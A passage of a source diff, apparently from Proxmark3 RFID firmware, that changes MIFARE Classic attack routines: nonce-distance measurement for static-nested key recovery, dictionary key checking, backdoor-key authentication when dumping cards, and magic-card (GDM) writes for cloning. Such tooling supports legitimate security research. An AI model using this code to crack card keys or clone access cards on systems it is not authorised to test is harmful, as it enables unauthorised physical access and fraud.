receivedAnswer[3], nt_par_err); - buf[(((sec * 2) + keyType) * 9) + 8] = nt_par_err; - // send some crap to fail auth - ReaderTransmit(nack, sizeof(nack), NULL); } } out: LED_C_OFF(); crypto1_deinit(pcs); LED_B_ON(); - reply_old(CMD_ACK, isOK, cuid, num_nonces, buf, sizeof(buf)); + if (reply) { + reply_mix(CMD_ACK, isOK, cuid, 0, BigBuf_get_EM_addr() + CARD_MEMORY_RF08S_OFFSET, MIFARE_BLOCK_SIZE * (MIFARE_1K_MAXSECTOR + 1)); + } LED_B_OFF(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); set_tracing(false); + return isOK; } @@ -1221,9 +1358,6 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 BigBuf_free(); BigBuf_Clear_ext(false); - if (calibrate) - clear_trace(); - set_tracing(true); // statistics on nonce distance @@ -1446,7 +1580,7 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, LEDsoff(); uint64_t ui64Key = bytes_to_num(key, 6); - uint16_t len; + uint16_t len, dist1 = 160, dist2 = 320; uint8_t uid[10] = { 0x00 }; uint32_t cuid = 0, nt1 = 0, nt2 = 0, nt3 = 0; uint32_t target_nt[2] = {0x00}, target_ks[2] = {0x00}; @@ -1463,7 +1597,6 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, // free eventually allocated BigBuf memory BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); int16_t isOK = PM3_ESOFT; @@ -1472,6 +1605,30 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, // Main loop - get crypted nonces for target sector for (uint8_t rtr = 0; rtr < 2; rtr++) { + // distance measurement + if (mifare_classic_halt(pcs)) { + continue; + } + + if (iso14443a_select_card(uid, NULL, &cuid, true, 0, true) == false) { + continue; + }; + + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) { + continue; + }; + + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, &nt2, NULL)) { + continue; + }; + + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, &nt3, NULL)) { + continue; + }; + + dist1 = nonce_distance(nt1, nt2); + dist2 = nonce_distance(nt1, nt3); + if (mifare_classic_halt(pcs)) { continue; } @@ -1490,8 +1647,8 @@ void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, target_nt[0] = prng_successor(nt1, 161); target_nt[1] = prng_successor(nt1, 321); } else { - target_nt[0] = prng_successor(nt1, 160); - target_nt[1] = prng_successor(nt1, 320); + target_nt[0] = prng_successor(nt1, dist1); + target_nt[1] = prng_successor(nt1, dist2); } len = mifare_sendcmd_short(pcs, AUTH_NESTED, MIFARE_AUTH_KEYA + (targetKeyType & 0xF), targetBlockNo, receivedAnswer, sizeof(receivedAnswer), par, NULL); @@ -1582,16 +1739,18 @@ typedef struct chk_t { // fast select, tries 5 times to select // // return: -// 2 = failed to select. -// 1 = wrong key -// 0 = correct key +// 4 = failed to select +// 3 = failed auth +// 2 = timeout +// 1 = failed auth +// 0 = correct static uint8_t chkKey(struct chk_t *c) { uint8_t i = 0, res = 2; bool selected = false; while (i < 5) { // this part is from Piwi's faster nonce collecting part in Hardnested. // assume: fast select - if (!iso14443a_fast_select_card(c->uid, c->cl)) { + if (iso14443a_fast_select_card(c->uid, c->cl) == 0) { ++i; continue; } @@ -1605,29 +1764,31 @@ static uint8_t chkKey(struct chk_t *c) { // mifare_classic_halt(c->pcs); break; } - if (!selected) { + if (selected == false) { Dbprintf("chkKey: Failed at fast selecting the card!"); + res = 4; } return res; } static uint8_t chkKey_readb(struct chk_t *c, uint8_t *keyb) { - if (!iso14443a_fast_select_card(c->uid, c->cl)) + if (iso14443a_fast_select_card(c->uid, c->cl) == 0) { return 2; + } - if (mifare_classic_authex(c->pcs, c->cuid, c->block, 0, c->key, AUTH_FIRST, NULL, NULL)) + if (mifare_classic_authex(c->pcs, c->cuid, c->block, 0, c->key, AUTH_FIRST, NULL, NULL)) { return 1; + } uint8_t data[16] = {0x00}; uint8_t res = mifare_classic_readblock(c->pcs, c->block, data); // successful read - if (!res) { + if (res == 0) { // data was something else than zeros. if (memcmp(data + 10, "\x00\x00\x00\x00\x00\x00", 6) != 0) { memcpy(keyb, data + 10, 6); - res = 0; } else { res = 3; } @@ -1640,11 +1801,19 @@ static void chkKey_scanA(struct chk_t *c, struct sector_t *k_sector, uint8_t *fo for (uint8_t s = 0; s < *sectorcnt; s++) { // skip already found A keys - if (found[(s * 2)]) + if (found[(s * 2)]) { continue; + } c->block = FirstBlockOfSector(s); - if (chkKey(c) == 0) { + + uint8_t res = chkKey(c); + if (res == 4) { + // failed to select, return immediately + return; + } + + if (res == 0) { num_to_bytes(c->key, 6, k_sector[s].keyA); found[(s * 2)] = 1; ++*foundkeys; @@ -1658,11 +1827,19 @@ static void chkKey_scanB(struct chk_t *c, struct sector_t *k_sector, uint8_t *fo for (uint8_t s = 0; s < *sectorcnt; s++) { // skip already found B keys - if (found[(s * 2) + 1]) + if (found[(s * 2) + 1]) { continue; + } c->block = FirstBlockOfSector(s); - if (chkKey(c) == 0) { + + uint8_t res = chkKey(c); + if (res == 4) { + // failed to select, return immediately + return; + } + + if (res == 0) { num_to_bytes(c->key, 6, k_sector[s].keyB); found[(s * 2) + 1] = 1; ++*foundkeys; @@ -1679,8 +1856,9 @@ static void chkKey_loopBonly(struct chk_t *c, struct sector_t *k_sector, uint8_t // read Block B, if A is found. for (uint8_t s = 0; s < *sectorcnt; ++s) { - if (found[(s * 2)] && found[(s * 2) + 1]) + if (found[(s * 2)] && found[(s * 2) + 1]) { continue; + } c->block = (FirstBlockOfSector(s) + NumBlocksPerSector(s) - 1); @@ -1737,47 +1915,50 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da static uint8_t foundkeys = 0; static sector_t k_sector[80]; static uint8_t found[80]; - static uint8_t *uid; + static uint8_t uid[10] = {0}; int oldbg = g_dbglevel; #ifdef WITH_FLASH if (use_flashmem) { BigBuf_free(); - uint16_t isok = 0; - uint8_t size[2] = {0x00, 0x00}; - isok = Flash_ReadData(DEFAULT_MF_KEYS_OFFSET, size, 2); - if (isok != 2) + uint32_t size = 0; + if (exists_in_spiffs(MF_KEYS_FILE)) { + size = size_in_spiffs(MF_KEYS_FILE); + } + + if ((size == 0) || (size < MF_KEY_LENGTH)) { + Dbprintf("Spiffs file `" _RED_("%s") "` does not exists or empty", MF_KEYS_FILE); goto OUT; + } - keyCount = size[1] << 8 | size[0]; + // Compute how many keys can fit in bigbuf + // a key is 6 bytes + uint16_t key_mem_available = MIN((BigBuf_get_size() / MF_KEY_LENGTH), (keyCount + (size / MF_KEY_LENGTH))); - if (keyCount == 0) + uint8_t *dictkeys = BigBuf_calloc(key_mem_available * MF_KEY_LENGTH); + if (dictkeys == NULL) { goto OUT; + } - // limit size of available for keys in bigbuff - // a key is 6bytes - uint16_t key_mem_available = MIN(BigBuf_get_size(), keyCount * 6); + // Put user and hard-coded keys first + memcpy(dictkeys, datain, keyCount * MF_KEY_LENGTH); - keyCount = key_mem_available / 6; - - datain = BigBuf_malloc(key_mem_available); - if (datain == NULL) + // Now append the SPI flash dictionnary + if (SPIFFS_OK == rdv40_spiffs_read_as_filetype(MF_KEYS_FILE, dictkeys + (keyCount * MF_KEY_LENGTH), (key_mem_available - keyCount) * MF_KEY_LENGTH, RDV40_SPIFFS_SAFETY_SAFE)) { + if (g_dbglevel >= DBG_ERROR) { + Dbprintf("loaded " _GREEN_("%u") " keys from spiffs file `" _YELLOW_("%s") "`", key_mem_available - keyCount, MF_KEYS_FILE); + } + } else { + Dbprintf("Spiffs file `" _RED_("%s") "` cannot be read", MF_KEYS_FILE); goto OUT; - - isok = Flash_ReadData(DEFAULT_MF_KEYS_OFFSET + 2, datain, key_mem_available); - if (isok != key_mem_available) - goto OUT; - + } + // Replace client provided keys + datain = dictkeys; + keyCount = key_mem_available; } #endif - if (uid == NULL || firstchunk) { - uid = BigBuf_malloc(10); - if (uid == NULL) - goto OUT; - } - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); LEDsoff(); @@ -1792,7 +1973,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da foundkeys = 0; iso14a_card_select_t card_info; - if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { + if (iso14443a_select_card(uid, &card_info, &cuid, true, 0, true) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("ChkKeys_fast: Can't select card (ALL)"); goto OUT; } @@ -1837,10 +2018,10 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da WDT_HIT(); - chk_data.key = bytes_to_num(datain + i * 6, 6); + chk_data.key = bytes_to_num(datain + (i * MF_KEY_LENGTH), MF_KEY_LENGTH); if (chkKey(&chk_data) == 0) { foundkeys++; - reply_old(CMD_ACK, 1, 0, 0, datain + i * 6, 6); + reply_old(CMD_ACK, 1, 0, 0, datain + (i * MF_KEY_LENGTH), MF_KEY_LENGTH); goto out; } } @@ -1870,8 +2051,9 @@ out: // keep track of how many sectors on card. for (uint8_t s = 0; s < sectorcnt; ++s) { - if (found[(s * 2)] && found[(s * 2) + 1]) + if (found[(s * 2)] && found[(s * 2) + 1]) { continue; + } for (uint16_t i = s_point; i < keyCount; ++i) { @@ -1881,8 +2063,9 @@ out: } // found all keys? - if (foundkeys == allkeys) + if (foundkeys == allkeys) { goto OUT; + } WDT_HIT(); @@ -1890,14 +2073,21 @@ out: chk_data.block = FirstBlockOfSector(s); // new key - chk_data.key = bytes_to_num(datain + i * 6, 6); + chk_data.key = bytes_to_num(datain + (i * MF_KEY_LENGTH), MF_KEY_LENGTH); // skip already found A keys if (!found[(s * 2)]) { + chk_data.keyType = 0; status = chkKey(&chk_data); + + if (status == 4) { + // failed to select, return immediately + goto OUT; + } + if (status == 0) { - memcpy(k_sector[s].keyA, datain + i * 6, 6); + memcpy(k_sector[s].keyA, datain + (i * MF_KEY_LENGTH), MF_KEY_LENGTH); found[(s * 2)] = 1; ++foundkeys; @@ -1926,10 +2116,17 @@ out: // skip already found B keys if (!found[(s * 2) + 1]) { + chk_data.keyType = 1; status = chkKey(&chk_data); + + if (status == 4) { + // failed to select, return immediately + goto OUT; + } + if (status == 0) { - memcpy(k_sector[s].keyB, datain + i * 6, 6); + memcpy(k_sector[s].keyB, datain + (i * MF_KEY_LENGTH), MF_KEY_LENGTH); found[(s * 2) + 1] = 1; ++foundkeys; @@ -1947,20 +2144,23 @@ out: } } - if (found[(s * 2)] && found[(s * 2) + 1]) + if (found[(s * 2)] && found[(s * 2) + 1]) { break; + } } // end keys test loop - depth first // assume1. if no keys found in first sector, get next keychunk from client - if (!use_flashmem && (newfound - foundkeys == 0)) + if (!use_flashmem && (newfound - foundkeys == 0)) { goto OUT; + } } // end loop - sector } // end strategy 1 - if (foundkeys == allkeys) + if (foundkeys == allkeys) { goto OUT; + } if (strategy == 2 || use_flashmem) { @@ -1968,36 +2168,43 @@ out: for (uint16_t i = 0; i < keyCount; i++) { // Allow button press / usb cmd to interrupt device - if (BUTTON_PRESS() || data_available()) break; + if (BUTTON_PRESS() || data_available()) { + break; + } // found all keys? - if (foundkeys == allkeys) + if (foundkeys == allkeys) { goto OUT; + } WDT_HIT(); // new key - chk_data.key = bytes_to_num(datain + i * 6, 6); + chk_data.key = bytes_to_num(datain + (i * MF_KEY_LENGTH), MF_KEY_LENGTH); // Sector main loop // keep track of how many sectors on card. for (uint8_t s = 0; s < sectorcnt; ++s) { - if (found[(s * 2)] && found[(s * 2) + 1]) continue; + if (found[(s * 2)] && found[(s * 2) + 1]) { + continue; + } // found all keys? - if (foundkeys == allkeys) + if (foundkeys == allkeys) { goto OUT; + } // assume: block0,1,2 has more read rights in accessbits than the sectortrailer. authenticating against block0 in each sector chk_data.block = FirstBlockOfSector(s); // skip already found A keys - if (!found[(s * 2)]) { - chk_data.keyType = 0; + if (found[(s * 2)] == 0) { + + chk_data.keyType = MF_KEY_A; status = chkKey(&chk_data); if (status == 0) { - memcpy(k_sector[s].keyA, datain + i * 6, 6); + memcpy(k_sector[s].keyA, datain + (i * MF_KEY_LENGTH), MF_KEY_LENGTH); found[(s * 2)] = 1; ++foundkeys; @@ -2011,11 +2218,12 @@ out: } // skip already found B keys - if (!found[(s * 2) + 1]) { - chk_data.keyType = 1; + if (found[(s * 2) + 1] == 0) { + + chk_data.keyType = MF_KEY_B; status = chkKey(&chk_data); if (status == 0) { - memcpy(k_sector[s].keyB, datain + i * 6, 6); + memcpy(k_sector[s].keyB, datain + (i * MF_KEY_LENGTH), MF_KEY_LENGTH); found[(s * 2) + 1] = 1; ++foundkeys; @@ -2044,7 +2252,7 @@ OUT: bar |= ((uint16_t)(found[m] & 1) << j++); } - uint8_t *tmp = BigBuf_malloc(480 + 10); + uint8_t *tmp = BigBuf_calloc(480 + 10); memcpy(tmp, k_sector, sectorcnt * sizeof(sector_t)); num_to_bytes(foo, 8, tmp + 480); tmp[488] = bar & 0xFF; @@ -2070,16 +2278,16 @@ OUT: blockno = (32 * 4 + (i - 32) * 16) ^ 0xF; } // get ST - emlGetMem(block, blockno, 1); + emlGetMem_xt(block, blockno, 1, MIFARE_BLOCK_SIZE); - memcpy(block, k_sector[i].keyA, 6); - memcpy(block + 10, k_sector[i].keyB, 6); + memcpy(block, k_sector[i].keyA, MF_KEY_LENGTH); + memcpy(block + 10, k_sector[i].keyB, MF_KEY_LENGTH); emlSetMem_xt(block, blockno, 1, sizeof(block)); } - MifareECardLoad(sectorcnt, MF_KEY_A); - MifareECardLoad(sectorcnt, MF_KEY_B); + MifareECardLoad(sectorcnt, MF_KEY_A, NULL); + MifareECardLoad(sectorcnt, MF_KEY_B, NULL); } } else { // partial/none keys found @@ -2103,7 +2311,7 @@ void MifareChkKeys(uint8_t *datain, uint8_t reserved_mem) { uint32_t cuid = 0; uint8_t cascade_levels = 0; struct { - uint8_t key[6]; + uint8_t key[MF_KEY_LENGTH]; bool found; } PACKED keyresult; keyresult.found = false; @@ -2118,11 +2326,11 @@ void MifareChkKeys(uint8_t *datain, uint8_t reserved_mem) { uint16_t key_mem_available; if (reserved_mem) - key_mem_available = key_count * 6; + key_mem_available = key_count * MF_KEY_LENGTH; else - key_mem_available = MIN((PM3_CMD_DATA_SIZE - 5), key_count * 6); + key_mem_available = MIN((PM3_CMD_DATA_SIZE - 5), (key_count * MF_KEY_LENGTH)); - key_count = key_mem_available / 6; + key_count = (key_mem_available / MF_KEY_LENGTH); datain += 5; @@ -2177,7 +2385,7 @@ void MifareChkKeys(uint8_t *datain, uint8_t reserved_mem) { continue; } - memcpy(keyresult.key, datain + i * 6, 6); + memcpy(keyresult.key, datain + (i * MF_KEY_LENGTH), MF_KEY_LENGTH); keyresult.found = true; break; } @@ -2201,7 +2409,7 @@ void MifareChkKeys_file(uint8_t *fn) { int changed = rdv40_spiffs_lazy_mount(); uint32_t size = size_in_spiffs((char *)fn); - uint8_t *mem = BigBuf_malloc(size); + uint8_t *mem = BigBuf_calloc(size); rdv40_spiffs_read_as_filetype((char *)fn, mem, size, RDV40_SPIFFS_SAFETY_SAFE); @@ -2223,8 +2431,8 @@ void MifareChkKeys_file(uint8_t *fn) { void MifarePersonalizeUID(uint8_t keyType, uint8_t perso_option, uint64_t key) { uint16_t isOK = PM3_EUNDEF; - uint8_t uid[10]; - uint32_t cuid; + uint8_t uid[10] = { 0 }; + uint32_t cuid = 0; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; @@ -2235,8 +2443,12 @@ void MifarePersonalizeUID(uint8_t keyType, uint8_t perso_option, uint64_t key) { LED_A_ON(); + uint8_t rec_answer[MAX_MIFARE_FRAME_SIZE] = {0}; + uint8_t rec_answer_par[MAX_MIFARE_PARITY_SIZE] = {0}; + while (true) { - if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + + if (iso14443a_select_card(uid, NULL, &cuid, true, 0, true) == false) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); break; } @@ -2247,11 +2459,9 @@ void MifarePersonalizeUID(uint8_t keyType, uint8_t perso_option, uint64_t key) { break; } - uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE]; - uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE]; - int len = mifare_sendcmd_short(pcs, true, MIFARE_EV1_PERSONAL_UID, perso_option, receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar, NULL); - if (len != 1 || receivedAnswer[0] != CARD_ACK) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("Cmd Error: %02x", receivedAnswer[0]); + int len = mifare_sendcmd_short(pcs, true, MIFARE_EV1_PERSONAL_UID, perso_option, rec_answer, sizeof(rec_answer), rec_answer_par, NULL); + if (len != 1 || rec_answer[0] != CARD_ACK) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("Cmd Error: %02x", rec_answer[0]); break; } @@ -2274,50 +2484,25 @@ void MifarePersonalizeUID(uint8_t keyType, uint8_t perso_option, uint64_t key) { } -//----------------------------------------------------------------------------- -// Work with emulator memory -// -// Note: we call FpgaDownloadAndGo(FPGA_BITSTREAM_HF) here although FPGA is not -// involved in dealing with emulator memory. But if it is called later, it might -// destroy the Emulator Memory. -//----------------------------------------------------------------------------- - -void MifareEMemClr(void) { - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - emlClearMem(); -} - -void MifareEMemGet(uint8_t blockno, uint8_t blockcnt) { - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - - // - size_t size = blockcnt * 16; - if (size > PM3_CMD_DATA_SIZE) { - reply_ng(CMD_HF_MIFARE_EML_MEMGET, PM3_EMALLOC, NULL, 0); - return; - } - - uint8_t *buf = BigBuf_malloc(size); - - emlGetMem(buf, blockno, blockcnt); // data, block num, blocks count (max 4) - - LED_B_ON(); - reply_ng(CMD_HF_MIFARE_EML_MEMGET, PM3_SUCCESS, buf, size); - LED_B_OFF(); - BigBuf_free_keep_EM(); -} - //----------------------------------------------------------------------------- // Load a card into the emulator memory // //----------------------------------------------------------------------------- -int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype) { - int retval = MifareECardLoad(sectorcnt, keytype); +int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype, uint8_t *key) { + int retval = MifareECardLoad(sectorcnt, keytype, key); reply_ng(CMD_HF_MIFARE_EML_LOAD, retval, NULL, 0); return retval; } -int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { +int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype, uint8_t *key) { + + if ((keytype > MF_KEY_B) && (key == NULL)) { + + if (g_dbglevel >= DBG_ERROR) { + Dbprintf("Error, missing key"); + } + return PM3_EINVARG; + } LED_A_ON(); iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); @@ -2327,6 +2512,7 @@ int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { // variables bool have_uid = false; + bool bd_authenticated = false; uint8_t cascade_levels = 0; uint32_t cuid = 0; uint8_t uid[10] = {0x00}; @@ -2339,7 +2525,7 @@ int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { // increase time-out. Magic card etc are slow uint32_t timeout = iso14a_get_timeout(); // frame waiting time (FWT) in 1/fc - uint32_t fwt = 256 * 16 * (1 << 6); + uint32_t fwt = 256 * 16 * (1 << 7); iso14a_set_timeout(fwt / (8 * 16)); for (uint8_t s = 0; s < sectorcnt; s++) { @@ -2351,10 +2537,10 @@ int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { // MFC 1K EV1, skip sector 16 since its lockdown if (s == 16) { // unknown sector trailer, keep the keys, set only the AC - uint8_t st[16] = {0x00}; - emlGetMem(st, FirstBlockOfSector(s) + 3, 1); + uint8_t st[MIFARE_BLOCK_SIZE] = {0x00}; + emlGetMem_xt(st, FirstBlockOfSector(s) + 3, 1, MIFARE_BLOCK_SIZE); memcpy(st + 6, "\x70\xF0\xF8\x69", 4); - emlSetMem_xt(st, FirstBlockOfSector(s) + 3, 1, 16); + emlSetMem_xt(st, FirstBlockOfSector(s) + 3, 1, MIFARE_BLOCK_SIZE); continue; } @@ -2371,6 +2557,14 @@ int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { if (have_uid == false) { // need a full select cycle to get the uid first iso14a_card_select_t card_info; if (iso14443a_select_card(uid, &card_info, &cuid, true, 0, true) == 0) { + if (s == 0) { + // first attempt, if no card let's stop directly + retval = PM3_EFAILED; + if (g_dbglevel >= DBG_ERROR) { + Dbprintf("Card not found"); + } + goto out; + } continue; } @@ -2389,24 +2583,44 @@ int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { } have_uid = true; } else { // no need for anticollision. We can directly select the card - if (iso14443a_fast_select_card(uid, cascade_levels) == 0) { - continue; + + if (bd_authenticated == false) { // no need to select if bd_authenticated with backdoor + if (iso14443a_fast_select_card(uid, cascade_levels) == 0) { + continue; + } } } // Auth - if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(s), keytype, ui64Key, AUTH_FIRST)) { - retval = PM3_EPARTIAL; - if (g_dbglevel >= DBG_ERROR) { - Dbprintf("Sector %2d - Auth error", s); + if (keytype > MF_KEY_B) { + if (bd_authenticated == false) { + ui64Key = bytes_to_num(key, 6); + if (mifare_classic_auth(pcs, cuid, 0, keytype, ui64Key, AUTH_FIRST)) { + retval = PM3_EFAILED; + if (g_dbglevel >= DBG_ERROR) { + Dbprintf("Auth error"); + } + goto out; + } + bd_authenticated = true; + } + } else if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(s), keytype, ui64Key, AUTH_FIRST)) { + + ui64Key = emlGetKey(s, MF_KEY_B); + + if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(s), MF_KEY_B, ui64Key, AUTH_FIRST)) { + retval = PM3_EPARTIAL; + if (g_dbglevel >= DBG_ERROR) { + Dbprintf("Sector %2d - Auth error", s); + } + continue; } - continue; } #define MAX_RETRIES 2 - uint8_t data[16] = {0x00}; + uint8_t data[MIFARE_BLOCK_SIZE] = {0x00}; for (uint8_t b = 0; b < NumBlocksPerSector(s); b++) { memset(data, 0x00, sizeof(data)); @@ -2428,18 +2642,18 @@ int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { } // No need to copy empty - if (memcmp(data, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16) == 0) { + if (memcmp(data, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(data)) == 0) { break; } if (IsSectorTrailer(b)) { // sector trailer, keep the keys, set only the AC - uint8_t st[16] = {0x00}; - emlGetMem(st, tb, 1); + uint8_t st[MIFARE_BLOCK_SIZE] = {0x00}; + emlGetMem_xt(st, tb, 1, MIFARE_BLOCK_SIZE); memcpy(st + 6, data + 6, 4); - emlSetMem_xt(st, tb, 1, 16); + emlSetMem_xt(st, tb, 1, MIFARE_BLOCK_SIZE); } else { - emlSetMem_xt(data, tb, 1, 16); + emlSetMem_xt(data, tb, 1, MIFARE_BLOCK_SIZE); } break; } @@ -2450,8 +2664,9 @@ int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { } } } - - int res = mifare_classic_halt(pcs); + int res; +out: + res = mifare_classic_halt(pcs); (void)res; iso14a_set_timeout(timeout); @@ -2463,6 +2678,7 @@ int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { } + //----------------------------------------------------------------------------- // Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn) // @@ -2474,6 +2690,7 @@ int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { // bit 4 - need turn off FPGA // bit 5 - need to set datain instead of issuing USB reply (called via ARM for StandAloneMode14a) // bit 6 - wipe tag. +// bit 7 - use USCUID/GDM (20/23) magic wakeup //----------------------------------------------------------------------------- void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { @@ -2507,8 +2724,8 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { while (true) { // read UID and return to client with write if (workFlags & MAGIC_UID) { - if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); + if (iso14443a_select_card(uid, NULL, &cuid, true, 0, true) == 0) { + if (g_dbglevel >= DBG_INFO) Dbprintf("Can't select card"); errormsg = MAGIC_UID; mifare_classic_halt(NULL); break; @@ -2520,7 +2737,7 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { if (workFlags & MAGIC_WIPE) { ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("wupC1 error"); + if (g_dbglevel >= DBG_INFO) Dbprintf("wupC1 error"); errormsg = MAGIC_WIPE; break; } @@ -2533,7 +2750,7 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { ReaderTransmit(wipeC, sizeof(wipeC), NULL); if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("wipeC error"); + if (g_dbglevel >= DBG_INFO) Dbprintf("wipeC error"); errormsg = MAGIC_WIPE; break; } @@ -2542,6 +2759,22 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { mifare_classic_halt(NULL); } + if (workFlags & MAGIC_GDM_ALT_WUPC) { + ReaderTransmitBitsPar(wupGDM1, 7, NULL, NULL); + if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { + if (g_dbglevel >= DBG_INFO) Dbprintf("wupGDM1 error"); + errormsg = MAGIC_WUPC; + break; + } + + ReaderTransmit(wupGDM2, sizeof(wupC2), NULL); + if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { + if (g_dbglevel >= DBG_INFO) Dbprintf("wupGDM2 error"); + errormsg = MAGIC_WUPC; + break; + } + } + // write block if (workFlags & MAGIC_WUPC) { ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); @@ -2561,10 +2794,23 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { } } - if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("write block send command error"); - errormsg = 4; - break; + // Write signature blocks using GDM write command + if (blockNo >= MIFARE_1K_MAXBLOCK && blockNo < MIFARE_1K_EV1_MAXBLOCK) { + + blockNo %= 0x40; + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, MIFARE_MAGIC_GDM_WRITEBLOCK, blockNo, receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + if (g_dbglevel >= DBG_INFO) Dbprintf("Magic write block send command error"); + errormsg = 4; + break; + } + + } else { + + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + if (g_dbglevel >= DBG_INFO) Dbprintf("write block send command error"); + errormsg = 5; + break; + } } memcpy(data, datain, 16); @@ -2572,7 +2818,7 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { ReaderTransmit(data, sizeof(data), NULL); if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) != 1) || (receivedAnswer[0] != 0x0a)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("write block send data error"); + if (g_dbglevel >= DBG_INFO) Dbprintf("write block send data error"); errormsg = 0; break; } @@ -2628,6 +2874,22 @@ void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { //loop doesn't loop just breaks out if error or done while (true) { + if (workFlags & MAGIC_GDM_ALT_WUPC) { + ReaderTransmitBitsPar(wupGDM1, 7, NULL, NULL); + if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("wupGDM1 error"); + errormsg = MAGIC_WUPC; + break; + } + + ReaderTransmit(wupGDM2, sizeof(wupC2), NULL); + if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("wupGDM2 error"); + errormsg = MAGIC_WUPC; + break; + } + } + if (workFlags & MAGIC_WUPC) { ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { @@ -2647,7 +2909,7 @@ void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { } // read block - if 